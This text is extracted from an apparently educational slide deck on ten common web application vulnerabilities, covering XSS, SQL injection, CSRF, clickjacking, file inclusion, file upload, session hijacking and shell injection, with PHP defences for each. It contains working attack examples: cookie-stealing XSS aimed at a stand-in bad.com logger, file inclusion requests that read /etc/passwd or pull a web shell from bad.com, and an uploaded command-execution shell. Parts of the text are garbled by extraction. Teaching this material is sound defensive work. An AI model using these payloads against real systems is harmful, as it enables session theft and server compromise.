Professional Documents
Culture Documents
Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
STATISTICS OF RISK LEVELS
Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
TOP 10 HIGH LEVEL VULNERABILITIES
01. Cross-Site Scripting (XSS) [2005]
02. Information leakage
03. SQL Injection [~2005]
04. Cross-Site Request Forgery (CSRF) [1990s]
05. ClickJacking [J.Grossman and R.Hansen - 2008]
06. Local/Remote File Inclusion
07. Unrestricted File Upload
08. Phishing [1987, 1996]
09. Session Hijacking [early 2000s]
10. Shell injection
CROSS-SITE SCRIPTING
• DESCRIPTION:
Cross-Site Scripting is a type of web
application vulnerability when attacker
injects his executable code(Javascript,
VBScript, etc.) into a vulnerable webpage.
• EXAMPLE:
http://site.com/search.php?
q=<script>alert(“XSS”)</script>
CROSS-SITE SCRIPTING
• TYPES:
1. Non-Persistent
2. Persistent
1.Non-Persistent:
In this type of XSS vulnerability an attacker is
able to execute his own code into a webpage
but no changes can be done in that website.
CROSS-SITE SCRIPTING
Non-Persistent
EXAMPLE:
http://www.site.com/viewtopic.php?
id=4"><script>document.location="http://ba
d.com/logger.php?
cookie="+document.cookie;</script>
OR
http://www.site.com/viewtopic.php?
id=4”><script>document.write(“<img
src=‘http://bad.com/logger.php?cookie=“+
document.cookie+”’/>”);</script>
CROSS-SITE SCRIPTING
2.Persistent:
In this case attacker stores his executable
script in the vulnerable website database
which is being executed every time webpage
is showing the data.
ATTRIBUTES
src, href, lowsrc, xmlns, style, etc.
CROSS-SITE SCRIPTING
Potentially Dangerous HTML events:
• Onblur • Onmousemove
• Onchange • Onmove
• Onclick • Onresize
• Ondrag • Onselectstart
• Onerror • Onselect
• Onfocus • Onsubmit
• Onkeypress • Onunload
• Onkeyup • Onscroll, etc.
• Onload
• Onmouseover
*all HTML events
CROSS-SITE SCRIPTING
SOLUTIONS:
Input sanitization
• PHP function strip_tags()
• PHP Input Filter
• PHP libraries:
• HTML_Safe
• htmLawed
• kses
• Safe HTML Checker, etc.
Output sanitization
• PHP function htmlentities()
BEST SOLUTION
OWASP HTML Purifier
• SAFE
HTML Purifier defeats XSS with an audited
whitelist
• CLEAN
HTML Purifier ensures standards-compliant output
• OPEN
HTML Purifier is open-source and highly
customizable
BEST SOLUTION
COMPARISON:
Source: www.htmlpurifier.org/comparison
BEST SOLUTION
COMPARISON:
Source: www.htmlpurifier.org/comparison
INFORMATION LEAKAGE
• DESCRIPTION:
Information Leakage is an application
weakness where an application reveals
sensitive data, such as technical details of
the web application, environment, or user-
specific data.
• EXAMPLE:
Warning:
include(pages/../../../../../../etc/passwd1)
[function.include]: failed to open stream: No
such file or directory in
/usr/www/users/kint/view.php on line 20
INFORMATION LEAKAGE
• CAUSES OF:
1. Directory listing misconfiguration
2. Unproper error handling
3. Unproper filetype handling
4. Sensitive HTML comments, etc.
1.Normal:
In this type of SQL Injection vulnerability
attacker sends a custom SQL query and gets
the output in the screen.
SQL INJECTION
Normal SQL Injection
• EXAMPLE:
http://site.com/product.php?
id=1348+AND+1=2+union+select+1,2,user(),database(),
5,version(),7+--
SQL INJECTION
2.Blind:
This type of injection is identical to normal
SQL Injection except that the SQL query
returns positive or negative response.
• EXAMPLE:
http://site.com/view.php?page=10+
and+substring(@@version,1,1)=5+--
SQL INJECTION
SOLUTIONS:
• PHP.ini configuration
• magic_quotes_gpc = on
• PHP functions
• filter_var()
• mysql_real_escape_string()
• sprintf()
• Put variables into the quotes(e.g: ‘$id’)
• Assign min privilages for mysql users
BEST SOLUTION
GreenSQL open source database firewall
• Activity monitoring and audit
• User rights management
• Real-time database protection
• Intrusion preventation(IPS)
• Database caching
• Encrypted comunication over SSL
• Virtual patching
• Reporting
BEST SOLUTION
GreenSQL open source database firewall
Source: www.greensql.net
CROSS-SITE REQUEST FORGERY
• DESCRIPTION:
This vulnerability of web application
allows other websites to send it
unauthorized requests using the
active session of its authorized users.
• EXAMPLE:
<img src=“http://site.com/share.php?
url=http://bad.com” style=“display:none” />
CROSS-SITE REQUEST FORGERY
EXAMPLE:
<div style=“display:none”>
<iframe name=“hidden”></iframe>
<form name=“Form” action=
“http://site.com/post.php” target=“hidden”
method=“POST”>
<input type=“text” name=“message” value=“I
like www.bad.com” />
<input type=“submit” />
</form>
<script>document.Form.submit();</script>
</div>
CROSS-SITE REQUEST FORGERY
• USELESS DEFENSES:
• Only accept POST
Stops simple link-based attacks (IMG, frames, etc.)
But hidden POST requests can be created with
frames, scripts, etc.
• Referer checking
Some users prohibit referers, so you can’t just
require referer headers
Techniques to selectively create HTTP request
without referers exist
• Requiring multi-step transactions
CSRF attack can perform each step in order
CROSS-SITE REQUEST FORGERY
SOLUTIONS:
• CAPTHCA systems
This is a type of challenge-
response test used in computing to
ensure that the response is not
generated by a computer.
• One-time tokens
Unlike the CAPTCHA systems this is a
unique number stored in the form
field and in session to compare them
after the form submition.
BEST SOLUTION
OWASP CSRFGuard
OWASP
• Adds token to:
CSRFGuard – href attribute
– src attribute
Verify Token
– hidden field in all forms
Source: www.owasp.org/index.php/CSRFGuard
CLICKJACKING
• DESCRIPTION:
ClickJacking or UI Redressing is an art of taking
actions without the user's knowledge, such as
clicking on a button that appears to perform
another function. It works in all modern
browsers that support frames and css.
• EXAMPLE:
<div style="position:fixed; width:100%;
height:100%; z-index:999;"
onclick="alert(‘ClickJacked');"></div>
CLICKJACKING
• EXAMPLE:
<style> iframe { width: 500px; height: 400px;
/* Use absolute positioning to line up update
button with fake button */
position: absolute; top: 0px; left: 0px; z-index: 2;
/* Hide from view */
-moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); }
button { position: absolute; top: 350px; left: 200px;
z-index: 1; width: 100px; } </style>
• Example:
if (top.location != location){
top.location = self.location;
}
CLICKJACKING
Common FrameKillers
• Conditional statement
if (top != self)
if (top.location != self.location)
if (top.location != location)
if (parent.frames.length > 0)
if (window != top)
if (window.top !== window.self)
if (window.self != window.top)
if (parent && parent != window)
if (parent && parent.frames &&
parent.frames.length>0)
if((self.parent&&!
(self.parent===self))&&(self.parent.frames.length!=0))
CLICKJACKING
Common FrameKillers
• Counter-action statement
top.location = self.location
top.location.href = document.location.href
top.location.replace(self.location)
top.location.href = window.location.href
top.location.replace(document.location)
top.location.href = window.location.href
top.location.href = "URL"
document.write('')
top.location.replace(document.location)
top.location.replace('URL')
top.location.replace(window.location.href)
top.location.href = location.href
self.parent.location = document.location
parent.location.href = self.document.location
CLICKJACKING
FrameKiller killers
• Double framing
<iframe src="second.html"></iframe>
second.html
<iframe src="http://www.site.com"></iframe>
• Using onBeforeUnload event
<script>
window.onbeforeunload=function(){
return “do you want to leave this page?“;
}
</script>
<iframe src="http://www.site.com"></iframe>
CLICKJACKING
FrameKiller killers
• onBeforeUnload & 204 Flushing
var prevent bust = 0
window.onbeforeunload=function(){
killbust++
}
setInterval(function(){
if(killbust > 0){
killbust = 2;
window.top.location = 'http://no-content-204.com'
} }, 1);
<iframe src="http://www.victim.com"></iframe>
• etc.
BEST SOLUTION
• FrameKiller(frame busting):
<style> html{ display : none; } </style>
<script>
if( self == top ) {
document.documentElement.style.display='block';
} else { top.location = self.location; }
</script>
• OWASP CSRFGuard
IMPORTANT: Unfortunately, there is no script which would protect your web application
against ClickJacking, however above mentioned is the best solution that we have now.
FILE INCLUSION
• DESCRIPTION:
This type of web application
vulnerability allows an attacker to
include local or remote file into the
vulnerable webpage.
• EXAMPLE:
http://site.com/view.php?
file=../../../../../../../../../../../../../../etc/
passwd%00
FILE INCLUSION
• TYPES:
1. Local
2. Remote
root:*:0:0:Super User:/root:/bin/csh
daemon:*:1:1:Daemon:/nonexistent:/sbin/nologin
operator:*:2:5:Operator:/nonexistent:/sbin/nologin
bin:*:3:7:Binaries:/nonexistent:/sbin/nologin tty:*:4:65533:tty
Sandbox:/nonexistent:/sbin/nologin kmem:*:5:65533:kmem
Sandbox:/nonexistent:/sbin/nologin
games:*:7:13:Games:/nonexistent:/sbin/nologin news:*:8:8:News
Subsystem:/nonexistent:/sbin/nologin man:*:9:9:Man
Pages:/nonexistent:/sbin/nologin ftp:*:14:5:Anonymous FTP
Admin:/usr/ftp:/nonexistent
FILE INCLUSION
2.Remote File Inclusion:
Unlike the local file inclusion this is
used to include remote scripts such as
web shells which is more dangerous
than the previous one.
Main goals:
• Remote code execution
• Remote root kit installation and
complete system compromise
• etc.
FILE INCLUSION
REMOTE FILE INCLUSION
• EXAMPLE:
http://site.com/include.php?file=
http://bad.com/c99_shell.php&act
=ls&dir=%2Fvar
FILE INCLUSION
VULNERABLE PHP CODES
• <?php include($_GET['file']); ?>
• <?php include($_GET['file'].".htm"); ?>
• <?php
include("includes/".$_GET['file']);
?>
• <?php
include("includes/".$_GET['file'].".htm");
?>
• etc.
FILE INCLUSION
COMMON EXPLOITS/REQUESTS
?file=../../../../../../../../../etc/passwd
?file=../../../../../../../../../var/lib/locate.db
?file=../../../../../../../../../var/log/apache/error.log
?file=../../../../../../../../../etc/passwd%00
?file=../../../../../../../../../var/www/accounts/%00
?file=http://bad.com/xss.php?xss=phpcode
?file=http://bad.com/shell.txt
?file=data://text/plain;base64,SU5KRUNURUQ=
?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\
?file=../../../../../../../../../etc/passwd…………………..…
etc.
FILE INCLUSION
COMMON METHODS OF ATTACK
• Hostile data being uploaded to session
files, log data, and via image uploads
• Using compression or audio streams, such
as zlib:// or ogg://(allow_url_fopen/
allow_url_include may be disabled)
• Using PHP wrappers, such as php://input
• Using PHP’s data: wrapper, such as
data:;base64,PD9waHAgcGhwaW5mbygp
Oz8+
• etc.
FILE INCLUSION
POTENTIALLY DANGEROUS PHP FUNCTIONS
• include()/include_once()
• require()/require_once()
• file_get_contents()
• fopen()
• file()
• copy()
• unlink()
• upload_tmp_dir()
• move_uploaded_file()
• imagecreatefromXXX()
BEST SOLUTION
• Use whitelisted filenames or allow only valid file
name characters (e.g: /^(((?:\.)(?!\.))|\w)+$/)
• Modify the php.ini configuration file:
register_globals = Off
magic_quotes_gpc = On
allow_url_fopen = Off
allow_url_include = Off
• Do not use any of the potentially dangerous PHP
functions(previous slide) without filtering user input
UNRESTRICTED FILE UPLOAD
• DESCRIPTION:
This vulnerability of a web application
allows attacker to upload malicious files to
the server. Most of the time those files are
web shell scripts to take control over your
web server.
• EXAMPLE:
$usrFile = $_FILES[‘userfile’][‘name’];
$uploadFolder= "uploads/";
if(move_uploaded_file($usrFile,$uploadFolder))
{ echo “File has been successfully uploaded.“;
} else{ echo “Error. Please try again!"; }
UNRESTRICTED FILE UPLOAD
EXAMPLE:
POST /upload1.php HTTP/1.1
…
Content-Type: multipart/form-data; boundary=xYzZY
--xYzZY
Content-Disposition: form-data; name="userfile";
filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZY—
HTTP/1.1 200 OK
…
File has been successfully uploaded.
UNRESTRICTED FILE UPLOAD
COMMON MISTAKES:
• Using blacklist for file extensions
Checking only for *.php,*.cgi,..,*.exe, etc. extentions
• Checking only the mime type
Checking only the content of $_FILES[‘file’][‘type’]
• Unproper check of double extensions
Unproperly checking for the files such as *.php.jpg,
*.php.xyz, *.asp.1234, etc.
• Checking only the image header
Relying only on PHP functions such as getimagesize()
• Checking filetype in filename
Checking content of the filename after the last dot(.)
• etc.
BEST SOLUTION
• Define an .htaccess file that will only allow access to
files with allowed extensions. This will also prevent
double extension attacks.
• EXAMPLE:
http://www.qooqle.com/accounts/Ser
viceLogin?service=mail
PHISHING
EXAMPLE:
BEST SOLUTION
• Use HTTPS instead of HTTP
The use of HTTPS is that user may see the details of the domain owner
in the SSL certificate information.
• Use short URL addresses for login pages
Use short URLs so that users could easily recognize login page address.
• Use Yahoo! Sign-in Seal like system
Sign-In Seal is a unique identifier chose by the user. This system stores
the user's unique identifier in the cookie and that cookie is shared
between local web browsers using Shared Object system provided by
Adobe Flash Player. It is not associated with the user’s login id, it is
associated with the user’s machine id.
SESSION HIJACKING
• DESCRIPTION:
This vulnerability of web application is
used to gain unauthorized access to
web resources of an authoriezed user
by having his/her session identifier(SID).
• EXAMPLE:
http://wg180.site.com/dk;jsessionid=0
754aff827cfe9f7db7f48e7018ed1e6.wg
180?st.cmd=userMain&tkn=8809
SESSION HIJACKING
• EXAMPLE:
http://wg180.site.com/dk;jsessionid=
0754aff827cfe9f7db7f48e7018ed1e6.
wg180?st.cmd=userMain&tkn=8809
BEST SOLUTION
• Store SID in HTTP cookies
To avoid accepting SIDs from GET and POST requests, the following
modification should be done in php.ini configuration file:
session.use_cookies = 1
session.use_only_cookies = 1
• Regenerate SID on each user request
Put session_regenerate_id(true); with this parameter after the
session_start() function call
• Accept only SIDs generated by your server
Use $_SESSION['SERVER_GENERATED_SID'] to identify whether SID has been
created by your web server
BEST SOLUTION
• Check for referrer, user-agent and IP address
All these three elements can be manipulated, but it is a good habit
to check them before accepting any data from a user side
• Destroy old SIDs
If user has SID which hasn’t been accessed for more than 10 minutes,
destroy it
• Comletely distroy the session on user logout
This kind of logout system may be used to completely distroy all the
session data
if (isset($_GET['LOGOUT'])){
session_unset();
session_destroy();
SHELL INJECTION
• DESCRIPTION:
Shell Injection is a web application
vulnerability which allows an
attacker to execute shell commands
in the web server.
• EXAMPLE:
http://site.com/manage.php?action=id
SHELL INJECTION
• EXAMPLE:
http://site.com/delete.php?file=/
delete.php
<?php
$file = $_GET[‘file’];
echo 'erasing ' . $file . ‘<br />’;
system(“rm -Rf $file”) ;
echo ‘done‘;
?>
SHELL INJECTION
POTENTIALLY DANGEROUS PHP FUNCTIONS
• shell_exec() • curl_exec()
• exec() • curl_multi_exec()
• `` (backticks) • show_source()
• system() • proc_open()
• passthru() • parse_ini_file()
• eval() • etc.
• popen()
BEST SOLUTION
• Disable all the potentially dangerous PHP functions
You should disable all the potentially dangerous PHP
functions in php.ini configuration file which you don’t use:
disable_functions=system,exec,etc.
• Allow only whitelisted commands to be used
You may have a list of non-dangerous commands which will
be allowed
• Use PHP built-in function to escape the user input
Use functions such as escapeshellarg() and escapeshellcmd()
to escape the user input.
THANK YOU!!
• Samvel.webege.com
Personal webpage
• Sam.Gevorgyan@gmail.com
Personal email account
• www.linkedin.com/in/SamvelGevorgyan
Professional resume
• www.facebook.com/SAMVEL.G
Facebook network
• www.youtube.com/H1DD3N3Y3
YouTube channel
REFERENCES
•Statistics
http://ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
http://ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
•Cross-Site Scripting
http://en.wikipedia.org/wiki/Cross-site_scripting
http://knol.google.com/k/a-short-history-of-cross-site-scripting-viruses-worms
•Information Leakage
http://projects.webappsec.org/w/page/13246936/Information-Leakage
http://phpsec.org/projects/guide/1.html
•SQL Injection
http://en.wikipedia.org/wiki/SQL_injection
http://www.darkreading.com/database-security/167901020/security/application-security/227300073/index.html
http://websec.wordpress.com/category/sqli/
•Cross-Site Request forgery
http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
http://projects.webappsec.org/w/page/13246919/Cross-Site-Request-Forgery
REFERENCES
• ClickJacking
http://en.wikipedia.org/wiki/Framekiller
http://seclab.stanford.edu/websec/framebusting/framebust.pdf
• File Inclusion
http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
http://www.madirish.net/?article=427
• Unrestricted File Upload
http://www.acunetix.com/websitesecurity/upload-forms-threat.htm
• Phishing
http://en.wikipedia.org/wiki/Phishing
http://security.yahoo.com/article.html?aid=2006102507
• Session Hijacking
http://en.wikipedia.org/wiki/Session_fixation
• Shell Injection
http://en.wikipedia.org/wiki/Code_injection#Shell_injection